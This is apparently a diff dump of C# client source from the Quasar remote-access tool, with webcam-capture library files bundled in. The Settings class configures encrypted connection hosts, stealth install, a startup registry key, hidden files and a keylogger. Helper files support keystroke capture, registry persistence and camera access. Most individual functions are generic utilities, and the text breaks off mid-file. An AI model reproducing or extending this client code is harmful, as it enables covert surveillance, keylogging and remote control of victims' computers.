public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VMOperation = 0x00000008,
VMRead = 0x00000010,
VMWrite = 0x00000020,
DupHandle = 0x00000040,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
Synchronize = 0x00100000
}
[StructLayout(LayoutKind.Sequential)]
public struct OBJECT_BASIC_INFORMATION
{
public int Attributes;
public int GrantedAccess;
public int HandleCount;
public int PointerCount;
public int PagedPoolUsage;
public int NonPagedPoolUsage;
public int Reserved1;
public int Reserved2;
public int Reserved3;
public int NameInformationLength;
public int TypeInformationLength;
public int SecurityDescriptorLength;
public System.Runtime.InteropServices.ComTypes.FILETIME CreateTime;
}
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING
{
public ushort Length;
public ushort MaximumLength;
public IntPtr Buffer;
}
[StructLayout(LayoutKind.Sequential)]
public struct OBJECT_NAME_INFORMATION
{
public UNICODE_STRING Name;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct SYSTEM_HANDLE_INFORMATION
{
public int ProcessID;
public byte ObjectTypeNumber;
public byte Flags;
public ushort Handle;
public int Object_Pointer;
public uint GrantedAccess;
}
}
}
+113
View File
@@ -0,0 +1,113 @@
using Quasar.Common.Cryptography;
using System;
using System.IO;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Windows.Forms;
namespace Quasar.Client.Config
{
/// <summary>
/// Stores the configuration of the client.
/// </summary>
public static class Settings
{
#if DEBUG
public static string VERSION = Application.ProductVersion;
public static string HOSTS = "localhost:4782;";
public static int RECONNECTDELAY = 500;
public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
public static string SUBDIRECTORY = "Test";
public static string INSTALLNAME = "test.exe";
public static bool INSTALL = false;
public static bool STARTUP = false;
public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!";
public static string STARTUPKEY = "Test key";
public static bool HIDEFILE = false;
public static bool ENABLELOGGER = false;
public static string ENCRYPTIONKEY = "CFCD0759E20F29C399C9D4210BE614E4E020BEE8";
public static string TAG = "DEBUG";
public static string LOGDIRECTORYNAME = "Logs";
public static string SERVERSIGNATURE = "";
public static string SERVERCERTIFICATESTR = "";
public static X509Certificate2 SERVERCERTIFICATE;
public static bool HIDELOGDIRECTORY = false;
public static bool HIDEINSTALLSUBDIRECTORY = false;
public static string INSTALLPATH = "";
public static string LOGSPATH = "";
public static bool UNATTENDEDMODE = true;
public static bool Initialize()
{
SetupPaths();
return true;
}
#else
public static string VERSION = "";
public static string HOSTS = "";
public static int RECONNECTDELAY = 5000;
public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
public static string SUBDIRECTORY = "";
public static string INSTALLNAME = "";
public static bool INSTALL = false;
public static bool STARTUP = false;
public static string MUTEX = "";
public static string STARTUPKEY = "";
public static bool HIDEFILE = false;
public static bool ENABLELOGGER = false;
public static string ENCRYPTIONKEY = "";
public static string TAG = "";
public static string LOGDIRECTORYNAME = "";
public static string SERVERSIGNATURE = "";
public static string SERVERCERTIFICATESTR = "";
public static X509Certificate2 SERVERCERTIFICATE;
public static bool HIDELOGDIRECTORY = false;
public static bool HIDEINSTALLSUBDIRECTORY = false;
public static string INSTALLPATH = "";
public static string LOGSPATH = "";
public static bool UNATTENDEDMODE = false;
public static bool Initialize()
{
if (string.IsNullOrEmpty(VERSION)) return false;
var aes = new Aes256(ENCRYPTIONKEY);
TAG = aes.Decrypt(TAG);
VERSION = aes.Decrypt(VERSION);
HOSTS = aes.Decrypt(HOSTS);
SUBDIRECTORY = aes.Decrypt(SUBDIRECTORY);
INSTALLNAME = aes.Decrypt(INSTALLNAME);
MUTEX = aes.Decrypt(MUTEX);
STARTUPKEY = aes.Decrypt(STARTUPKEY);
LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME);
SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE);
SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR)));
SetupPaths();
return VerifyHash();
}
#endif
static void SetupPaths()
{
LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME);
INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME);
}
static bool VerifyHash()
{
try
{
var csp = (RSACryptoServiceProvider) SERVERCERTIFICATE.PublicKey.Key;
return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY)), CryptoConfig.MapNameToOID("SHA256"),
Convert.FromBase64String(SERVERSIGNATURE));
}
catch (Exception)
{
return false;
}
}
}
}
+59
View File
@@ -0,0 +1,59 @@
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
namespace Quasar.Client.Extensions
{
public static class KeyExtensions
{
public static bool ContainsModifierKeys(this List<Keys> pressedKeys)
{
return pressedKeys.Any(x => x.IsModifierKey());
}
public static bool IsModifierKey(this Keys key)
{
return (key == Keys.LControlKey
|| key == Keys.RControlKey
|| key == Keys.LMenu
|| key == Keys.RMenu
|| key == Keys.LWin
|| key == Keys.RWin
|| key == Keys.Control
|| key == Keys.Alt);
}
public static bool ContainsKeyChar(this List<Keys> pressedKeys, char c)
{
return pressedKeys.Contains((Keys)char.ToUpper(c));
}
public static bool IsExcludedKey(this Keys k)
{
// The keys below are excluded. If it is one of the keys below,
// the KeyPress event will handle these characters. If the keys
// are not any of those specified below, we can continue.
return (k >= Keys.A && k <= Keys.Z
|| k >= Keys.NumPad0 && k <= Keys.Divide
|| k >= Keys.D0 && k <= Keys.D9
|| k >= Keys.Oem1 && k <= Keys.OemClear
|| k >= Keys.LShiftKey && k <= Keys.RShiftKey
|| k == Keys.CapsLock
|| k == Keys.Space);
}
public static string GetDisplayName(this Keys key)
{
string name = key.ToString();
if (name.Contains("ControlKey"))
return "Control";
else if (name.Contains("Menu"))
return "Alt";
else if (name.Contains("Win"))
return "Win";
else if (name.Contains("Shift"))
return "Shift";
return name;
}
}
}
+19
View File
@@ -0,0 +1,19 @@
using Quasar.Client.Utilities;
using System.Diagnostics;
using System.Text;
namespace Quasar.Client.Extensions
{
public static class ProcessExtensions
{
public static string GetMainModuleFileName(this Process proc)
{
uint nChars = 260;
StringBuilder buffer = new StringBuilder((int)nChars);
var success = NativeMethods.QueryFullProcessImageName(proc.Handle, 0, buffer, ref nChars);
return success ? buffer.ToString() : null;
}
}
}
@@ -0,0 +1,400 @@
using Microsoft.Win32;
using Quasar.Common.Utilities;
using System;
using System.Collections.Generic;
using System.Linq;
namespace Quasar.Client.Extensions
{
/// <summary>
/// Provides extensions for registry key and value operations.
/// </summary>
public static class RegistryKeyExtensions
{
/// <summary>
/// Determines if the registry key by the name provided is null or has the value of null.
/// </summary>
/// <param name="keyName">The name associated with the registry key.</param>
/// <param name="key">The actual registry key.</param>
/// <returns>True if the provided name is null or empty, or the key is null; False if otherwise.</returns>
private static bool IsNameOrValueNull(this string keyName, RegistryKey key)
{
return (string.IsNullOrEmpty(keyName) || (key == null));
}
/// <summary>
/// Attempts to get the string value of the key using the specified key name. This method assumes
/// correct input.
/// </summary>
/// <param name="key">The key of which we obtain the value of.</param>
/// <param name="keyName">The name of the key.</param>
/// <param name="defaultValue">The default value if value can not be determined.</param>
/// <returns>Returns the value of the key using the specified key name. If unable to do so,
/// defaultValue will be returned instead.</returns>
public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "")
{
try
{
return key.GetValue(keyName, defaultValue).ToString();
}
catch
{
return defaultValue;
}
}
/// <summary>
/// Attempts to obtain a readonly (non-writable) sub key from the key provided using the
/// specified name. Exceptions thrown will be caught and will only return a null key.
/// This method assumes the caller will dispose of the key when done using it.
/// </summary>
/// <param name="key">The key of which the sub key is obtained from.</param>
/// <param name="name">The name of the sub-key.</param>
/// <returns>Returns the sub-key obtained from the key and name provided; Returns null if
/// unable to obtain a sub-key.</returns>
public static RegistryKey OpenReadonlySubKeySafe(this RegistryKey key, string name)
{
try
{
return key.OpenSubKey(name, false);
}
catch
{
return null;
}
}
/// <summary>
/// Attempts to obtain a writable sub key from the key provided using the specified
/// name. This method assumes the caller will dispose of the key when done using it.
/// </summary>
/// <param name="key">The key of which the sub key is obtained from.</param>
/// <param name="name">The name of the sub-key.</param>
/// <returns>Returns the sub-key obtained from the key and name provided; Returns null if
/// unable to obtain a sub-key.</returns>
public static RegistryKey OpenWritableSubKeySafe(this RegistryKey key, string name)
{
try
{
return key.OpenSubKey(name, true);
}
catch
{
return null;
}
}
/// <summary>
/// Attempts to create a sub key from the key provided using the specified
/// name. This method assumes the caller will dispose of the key when done using it.
/// </summary>
/// <param name="key">The key of which the sub key is to be created from.</param>
/// <param name="name">The name of the sub-key.</param>
/// <returns>Returns the sub-key that was created for the key and name provided; Returns null if
/// unable to create a sub-key.</returns>
public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name)
{
try
{
return key.CreateSubKey(name);
}
catch
{
return null;
}
}
/// <summary>
/// Attempts to delete a sub-key and its children from the key provided using the specified
/// name.
/// </summary>
/// <param name="key">The key of which the sub-key is to be deleted from.</param>
/// <param name="name">The name of the sub-key.</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
{
try
{
key.DeleteSubKeyTree(name, true);
return true;
}
catch
{
return false;
}
}
/*
* Derived and Adapted from drdandle's article,
* Copy and Rename Registry Keys at Code project.
* Copy and Rename Registry Keys (Post Date: November 11, 2006)
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* This is a work that is not of the original. It
* has been modified to suit the needs of another
* application.
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* First Modified by StingRaptor on January 21, 2016
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* Original Source:
* http://www.codeproject.com/Articles/16343/Copy-and-Rename-Registry-Keys
*/
/// <summary>
/// Attempts to rename a sub-key to the key provided using the specified old
/// name and new name.
/// </summary>
/// <param name="key">The key of which the subkey is to be renamed from.</param>
/// <param name="oldName">The old name of the sub-key.</param>
/// <param name="newName">The new name of the sub-key.</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName)
{
try
{
//Copy from old to new
key.CopyKey(oldName, newName);
//Dispose of the old key
key.DeleteSubKeyTree(oldName);
return true;
}
catch
{
//Try to dispose of the newKey (The rename failed)
key.DeleteSubKeyTreeSafe(newName);
return false;
}
}
/// <summary>
/// Attempts to copy a old subkey to a new subkey for the key
/// provided using the specified old name and new name. (throws exceptions)
/// </summary>
/// <param name="key">The key of which the subkey is to be deleted from.</param>
/// <param name="oldName">The old name of the sub-key.</param>
/// <param name="newName">The new name of the sub-key.</param>
public static void CopyKey(this RegistryKey key, string oldName, string newName)
{
//Create a new key
using (RegistryKey newKey = key.CreateSubKey(newName))
{
//Open old key
using (RegistryKey oldKey = key.OpenSubKey(oldName, true))
{
//Copy from old to new
RecursiveCopyKey(oldKey, newKey);
}
}
}
/// <summary>
/// Attempts to rename a sub-key to the key provided using the specified old
/// name and new name.
/// </summary>
/// <param name="sourceKey">The source key to copy from.</param>
/// <param name="destKey">The destination key to copy to.</param>
private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
{
//Copy all of the registry values
foreach (string valueName in sourceKey.GetValueNames())
{
object valueObj = sourceKey.GetValue(valueName);
RegistryValueKind valueKind = sourceKey.GetValueKind(valueName);
destKey.SetValue(valueName, valueObj, valueKind);
}
//Copy all of the subkeys
foreach (string subKeyName in sourceKey.GetSubKeyNames())
{
using (RegistryKey sourceSubkey = sourceKey.OpenSubKey(subKeyName))
{
using (RegistryKey destSubKey = destKey.CreateSubKey(subKeyName))
{
//Recursive call to copy the sub key data
RecursiveCopyKey(sourceSubkey, destSubKey);
}
}
}
}
/// <summary>
/// Attempts to set a registry value for the key provided using the specified
/// name, data and kind. If the registry value does not exist it will be created
/// </summary>
/// <param name="key">The key of which the value is to be set for.</param>
/// <param name="name">The name of the value.</param>
/// <param name="data">The data of the value</param>
/// <param name="kind">The value kind of the value</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind)
{
try
{
// handle type conversion
if (kind != RegistryValueKind.Binary && data.GetType() == typeof(byte[]))
{
switch (kind)
{
case RegistryValueKind.String:
case RegistryValueKind.ExpandString:
data = ByteConverter.ToString((byte[]) data);
break;
case RegistryValueKind.DWord:
data = ByteConverter.ToUInt32((byte[]) data);
break;
case RegistryValueKind.QWord:
data = ByteConverter.ToUInt64((byte[]) data);
break;
case RegistryValueKind.MultiString:
data = ByteConverter.ToStringArray((byte[]) data);
break;
}
}
key.SetValue(name, data, kind);
return true;
}
catch
{
return false;
}
}
/// <summary>
/// Attempts to delete a registry value for the key provided using the specified
/// name.
/// </summary>
/// <param name="key">The key of which the value is to be delete from.</param>
/// <param name="name">The name of the value.</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool DeleteValueSafe(this RegistryKey key, string name)
{
try
{
key.DeleteValue(name);
return true;
}
catch
{
return false;
}
}
/// <summary>
/// Attempts to rename a registry value to the key provided using the specified old
/// name and new name.
/// </summary>
/// <param name="key">The key of which the registry value is to be renamed from.</param>
/// <param name="oldName">The old name of the registry value.</param>
/// <param name="newName">The new name of the registry value.</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName)
{
try
{
//Copy from old to new
key.CopyValue(oldName, newName);
//Dispose of the old value
key.DeleteValue(oldName);
return true;
}
catch
{
//Try to dispose of the newKey (The rename failed)
key.DeleteValueSafe(newName);
return false;
}
}
/// <summary>
/// Attempts to copy a old registry value to a new registry value for the key
/// provided using the specified old name and new name. (throws exceptions)
/// </summary>
/// <param name="key">The key of which the registry value is to be copied.</param>
/// <param name="oldName">The old name of the registry value.</param>
/// <param name="newName">The new name of the registry value.</param>
public static void CopyValue(this RegistryKey key, string oldName, string newName)
{
RegistryValueKind valueKind = key.GetValueKind(oldName);
object valueData = key.GetValue(oldName);
key.SetValue(newName, valueData, valueKind);
}
/// <summary>
/// Checks if the specified subkey exists in the key
/// </summary>
/// <param name="key">The key of which to search.</param>
/// <param name="name">The name of the sub-key to find.</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool ContainsSubKey(this RegistryKey key, string name)
{
foreach (string subkey in key.GetSubKeyNames())
{
if (subkey == name)
{
return true;
}
}
return false;
}
/// <summary>
/// Checks if the specified registry value exists in the key
/// </summary>
/// <param name="key">The key of which to search.</param>
/// <param name="name">The name of the registry value to find.</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool ContainsValue(this RegistryKey key, string name)
{
foreach (string value in key.GetValueNames())
{
if (value == name)
{
return true;
}
}
return false;
}
/// <summary>
/// Gets all of the value names associated with the registry key and returns
/// formatted strings of the filtered values.
/// </summary>
/// <param name="key">The registry key of which the values are obtained.</param>
/// <returns>Yield returns formatted strings of the key and the key value.</returns>
public static IEnumerable<Tuple<string, string>> GetKeyValues(this RegistryKey key)
{
if (key == null) yield break;
foreach (var k in key.GetValueNames().Where(keyVal => !keyVal.IsNameOrValueNull(key)).Where(k => !string.IsNullOrEmpty(k)))
{
yield return new Tuple<string, string>(k, key.GetValueSafe(k));
}
}
/// <summary>
/// Gets the default value for a given data type of a registry value.
/// </summary>
/// <param name="valueKind">The data type of the registry value.</param>
/// <returns>The default value for the given <see cref="valueKind"/>.</returns>
public static object GetDefault(this RegistryValueKind valueKind)
{
switch (valueKind)
{
case RegistryValueKind.Binary:
return new byte[] {};
case RegistryValueKind.MultiString:
return new string[] {};
case RegistryValueKind.DWord:
return 0;
case RegistryValueKind.QWord:
return (long)0;
case RegistryValueKind.String:
case RegistryValueKind.ExpandString:
return "";
default:
return null;
}
}
}
}
@@ -0,0 +1,67 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2013
// [email protected]
//
namespace AForge.Video.DirectShow
{
using System;
/// <summary>
/// The enumeration specifies a setting on a camera.
/// </summary>
public enum CameraControlProperty
{
/// <summary>
/// Pan control.
/// </summary>
Pan = 0,
/// <summary>
/// Tilt control.
/// </summary>
Tilt,
/// <summary>
/// Roll control.
/// </summary>
Roll,
/// <summary>
/// Zoom control.
/// </summary>
Zoom,
/// <summary>
/// Exposure control.
/// </summary>
Exposure,
/// <summary>
/// Iris control.
/// </summary>
Iris,
/// <summary>
/// Focus control.
/// </summary>
Focus
}
/// <summary>
/// The enumeration defines whether a camera setting is controlled manually or automatically.
/// </summary>
[Flags]
public enum CameraControlFlags
{
/// <summary>
/// No control flag.
/// </summary>
None = 0x0,
/// <summary>
/// Auto control Flag.
/// </summary>
Auto = 0x0001,
/// <summary>
/// Manual control Flag.
/// </summary>
Manual = 0x0002
}
}
@@ -0,0 +1,193 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2008
// [email protected]
//
namespace AForge.Video.DirectShow
{
using System;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
using AForge.Video.DirectShow.Internals;
/// <summary>
/// DirectShow filter information.
/// </summary>
///
public class FilterInfo : IComparable
{
/// <summary>
/// Filter name.
/// </summary>
public string Name { get; private set; }
/// <summary>
/// Filters's moniker string.
/// </summary>
///
public string MonikerString { get; private set; }
/// <summary>
/// Initializes a new instance of the <see cref="FilterInfo"/> class.
/// </summary>
///
/// <param name="monikerString">Filters's moniker string.</param>
///
public FilterInfo( string monikerString )
{
MonikerString = monikerString;
Name = GetName( monikerString );
}
/// <summary>
/// Initializes a new instance of the <see cref="FilterInfo"/> class.
/// </summary>
///
/// <param name="moniker">Filter's moniker object.</param>
///
internal FilterInfo( IMoniker moniker )
{
MonikerString = GetMonikerString( moniker );
Name = GetName( moniker );
}
/// <summary>
/// Compare the object with another instance of this class.
/// </summary>
///
/// <param name="value">Object to compare with.</param>
///
/// <returns>A signed number indicating the relative values of this instance and <b>value</b>.</returns>
///
public int CompareTo( object value )
{
FilterInfo f = (FilterInfo) value;
if ( f == null )
return 1;
return ( this.Name.CompareTo( f.Name ) );
}
/// <summary>
/// Create an instance of the filter.
/// </summary>
///
/// <param name="filterMoniker">Filter's moniker string.</param>
///
/// <returns>Returns filter's object, which implements <b>IBaseFilter</b> interface.</returns>
///
/// <remarks>The returned filter's object should be released using <b>Marshal.ReleaseComObject()</b>.</remarks>
///
public static object CreateFilter( string filterMoniker )
{
// filter's object
object filterObject = null;
// bind context and moniker objects
IBindCtx bindCtx = null;
IMoniker moniker = null;
int n = 0;
// create bind context
if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 )
{
// convert moniker`s string to a moniker
if ( Win32.MkParseDisplayName( bindCtx, filterMoniker, ref n, out moniker ) == 0 )
{
// get device base filter
Guid filterId = typeof( IBaseFilter ).GUID;
moniker.BindToObject( null, null, ref filterId, out filterObject );
Marshal.ReleaseComObject( moniker );
}
Marshal.ReleaseComObject( bindCtx );
}
return filterObject;
}
//
// Get moniker string of the moniker
//
private string GetMonikerString( IMoniker moniker )
{
string str;
moniker.GetDisplayName( null, null, out str );
return str;
}
//
// Get filter name represented by the moniker
//
private string GetName( IMoniker moniker )
{
Object bagObj = null;
IPropertyBag bag = null;
try
{
Guid bagId = typeof( IPropertyBag ).GUID;
// get property bag of the moniker
moniker.BindToStorage( null, null, ref bagId, out bagObj );
bag = (IPropertyBag) bagObj;
// read FriendlyName
object val = "";
int hr = bag.Read( "FriendlyName", ref val, IntPtr.Zero );
if ( hr != 0 )
Marshal.ThrowExceptionForHR( hr );
// get it as string
string ret = (string) val;
if ( ( ret == null ) || ( ret.Length < 1 ) )
throw new ApplicationException( );
return ret;
}
catch ( Exception )
{
return "";
}
finally
{
// release all COM objects
bag = null;
if ( bagObj != null )
{
Marshal.ReleaseComObject( bagObj );
bagObj = null;
}
}
}
//
// Get filter name represented by the moniker string
//
private string GetName( string monikerString )
{
IBindCtx bindCtx = null;
IMoniker moniker = null;
String name = "";
int n = 0;
// create bind context
if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 )
{
// convert moniker`s string to a moniker
if ( Win32.MkParseDisplayName( bindCtx, monikerString, ref n, out moniker ) == 0 )
{
// get device name
name = GetName( moniker );
Marshal.ReleaseComObject( moniker );
moniker = null;
}
Marshal.ReleaseComObject( bindCtx );
bindCtx = null;
}
return name;
}
}
}
@@ -0,0 +1,138 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2008
// [email protected]
//
namespace AForge.Video.DirectShow
{
using System;
using System.Collections;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
using AForge.Video.DirectShow.Internals;
/// <summary>
/// Collection of filters' information objects.
/// </summary>
///
/// <remarks><para>The class allows to enumerate DirectShow filters of specified category. For
/// a list of categories see <see cref="FilterCategory"/>.</para>
///
/// <para>Sample usage:</para>
/// <code>
/// // enumerate video devices
/// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice );
/// // list devices
/// foreach ( FilterInfo device in videoDevices )
/// {
/// // ...
/// }
/// </code>
/// </remarks>
///
public class FilterInfoCollection : CollectionBase
{
/// <summary>
/// Initializes a new instance of the <see cref="FilterInfoCollection"/> class.
/// </summary>
///
/// <param name="category">Guid of DirectShow filter category. See <see cref="FilterCategory"/>.</param>
///
/// <remarks>Build collection of filters' information objects for the
/// specified filter category.</remarks>
///
public FilterInfoCollection( Guid category )
{
CollectFilters( category );
}
/// <summary>
/// Get filter information object.
/// </summary>
///
/// <param name="index">Index of filter information object to retrieve.</param>
///
/// <returns>Filter information object.</returns>
///
public FilterInfo this[int index]
{
get
{
return ( (FilterInfo) InnerList[index] );
}
}
// Collect filters of specified category
private void CollectFilters( Guid category )
{
object comObj = null;
ICreateDevEnum enumDev = null;
IEnumMoniker enumMon = null;
IMoniker[] devMon = new IMoniker[1];
int hr;
try
{
// Get the system device enumerator
Type srvType = Type.GetTypeFromCLSID( Clsid.SystemDeviceEnum );
if ( srvType == null )
throw new ApplicationException( "Failed creating device enumerator" );
// create device enumerator
comObj = Activator.CreateInstance( srvType );
enumDev = (ICreateDevEnum) comObj;
// Create an enumerator to find filters of specified category
hr = enumDev.CreateClassEnumerator( ref category, out enumMon, 0 );
if ( hr != 0 )
throw new ApplicationException( "No devices of the category" );
// Collect all filters
IntPtr n = IntPtr.Zero;
while ( true )
{
// Get next filter
hr = enumMon.Next( 1, devMon, n );
if ( ( hr != 0 ) || ( devMon[0] == null ) )
break;
// Add the filter
FilterInfo filter = new FilterInfo( devMon[0] );
InnerList.Add( filter );
// Release COM object
Marshal.ReleaseComObject( devMon[0] );
devMon[0] = null;
}
// Sort the collection
InnerList.Sort( );
}
catch
{
}
finally
{
// release all COM objects
enumDev = null;
if ( comObj != null )
{
Marshal.ReleaseComObject( comObj );
comObj = null;
}
if ( enumMon != null )
{
Marshal.ReleaseComObject( enumMon );
enumMon = null;
}
if ( devMon[0] != null )
{
Marshal.ReleaseComObject( devMon[0] );
devMon[0] = null;
}
}
}
}
}
@@ -0,0 +1,81 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2013
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The IAMCameraControl interface controls camera settings such as zoom, pan, aperture adjustment,
/// or shutter speed. To obtain this interface, query the filter that controls the camera.
/// </summary>
[ComImport,
Guid( "C6E13370-30AC-11d0-A18C-00A0C9118956" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IAMCameraControl
{
/// <summary>
/// Gets the range and default value of a specified camera property.
/// </summary>
///
/// <param name="Property">Specifies the property to query.</param>
/// <param name="pMin">Receives the minimum value of the property.</param>
/// <param name="pMax">Receives the maximum value of the property.</param>
/// <param name="pSteppingDelta">Receives the step size for the property.</param>
/// <param name="pDefault">Receives the default value of the property. </param>
/// <param name="pCapsFlags">Receives a member of the CameraControlFlags enumeration, indicating whether the property is controlled automatically or manually.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetRange(
[In] CameraControlProperty Property,
[Out] out int pMin,
[Out] out int pMax,
[Out] out int pSteppingDelta,
[Out] out int pDefault,
[Out] out CameraControlFlags pCapsFlags
);
/// <summary>
/// Sets a specified property on the camera.
/// </summary>
///
/// <param name="Property">Specifies the property to set.</param>
/// <param name="lValue">Specifies the new value of the property.</param>
/// <param name="Flags">Specifies the desired control setting, as a member of the CameraControlFlags enumeration.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Set(
[In] CameraControlProperty Property,
[In] int lValue,
[In] CameraControlFlags Flags
);
/// <summary>
/// Gets the current setting of a camera property.
/// </summary>
///
/// <param name="Property">Specifies the property to retrieve.</param>
/// <param name="lValue">Receives the value of the property.</param>
/// <param name="Flags">Receives a member of the CameraControlFlags enumeration.
/// The returned value indicates whether the setting is controlled manually or automatically.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Get(
[In] CameraControlProperty Property,
[Out] out int lValue,
[Out] out CameraControlFlags Flags
);
}
}
@@ -0,0 +1,88 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2012
// [email protected]
//
using System;
using System.Runtime.InteropServices;
namespace AForge.Video.DirectShow.Internals
{
/// <summary>
/// The IAMCrossbar interface routes signals from an analog or digital source to a video capture filter.
/// </summary>
[ComImport, System.Security.SuppressUnmanagedCodeSecurity,
Guid( "C6E13380-30AC-11D0-A18C-00A0C9118956" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IAMCrossbar
{
/// <summary>
/// Retrieves the number of input and output pins on the crossbar filter.
/// </summary>
///
/// <param name="outputPinCount">Variable that receives the number of output pins.</param>
/// <param name="inputPinCount">Variable that receives the number of input pins.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int get_PinCounts( [Out] out int outputPinCount, [Out] out int inputPinCount );
/// <summary>
/// Queries whether a specified input pin can be routed to a specified output pin.
/// </summary>
///
/// <param name="outputPinIndex">Specifies the index of the output pin.</param>
/// <param name="inputPinIndex">Specifies the index of input pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int CanRoute( [In] int outputPinIndex, [In] int inputPinIndex );
/// <summary>
/// Routes an input pin to an output pin.
/// </summary>
///
/// <param name="outputPinIndex">Specifies the index of the output pin.</param>
/// <param name="inputPinIndex">Specifies the index of the input pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Route( [In] int outputPinIndex, [In] int inputPinIndex );
/// <summary>
/// Retrieves the input pin that is currently routed to the specified output pin.
/// </summary>
///
/// <param name="outputPinIndex">Specifies the index of the output pin.</param>
/// <param name="inputPinIndex">Variable that receives the index of the input pin, or -1 if no input pin is routed to this output pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int get_IsRoutedTo( [In] int outputPinIndex, [Out] out int inputPinIndex );
/// <summary>
/// Retrieves information about a specified pin.
/// </summary>
///
/// <param name="isInputPin">Specifies the direction of the pin. Use one of the following values.</param>
/// <param name="pinIndex">Specifies the index of the pin.</param>
/// <param name="pinIndexRelated">Variable that receives the index of the related pin, or 1 if no pin is related to this pin.</param>
/// <param name="physicalType">Variable that receives a member of the PhysicalConnectorType enumeration, indicating the pin's physical type.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int get_CrossbarPinInfo(
[In, MarshalAs( UnmanagedType.Bool )] bool isInputPin,
[In] int pinIndex,
[Out] out int pinIndexRelated,
[Out] out PhysicalConnectorType physicalType );
}
}
@@ -0,0 +1,74 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2008
// [email protected]
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// This interface sets the output format on certain capture and compression filters,
/// for both audio and video.
/// </summary>
///
[ComImport,
Guid( "C6E13340-30AC-11d0-A18C-00A0C9118956" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IAMStreamConfig
{
/// <summary>
/// Set the output format on the pin.
/// </summary>
///
/// <param name="mediaType">Media type to set.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetFormat( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Retrieves the audio or video stream's format.
/// </summary>
///
/// <param name="mediaType">Retrieved media type.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetFormat( [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType );
/// <summary>
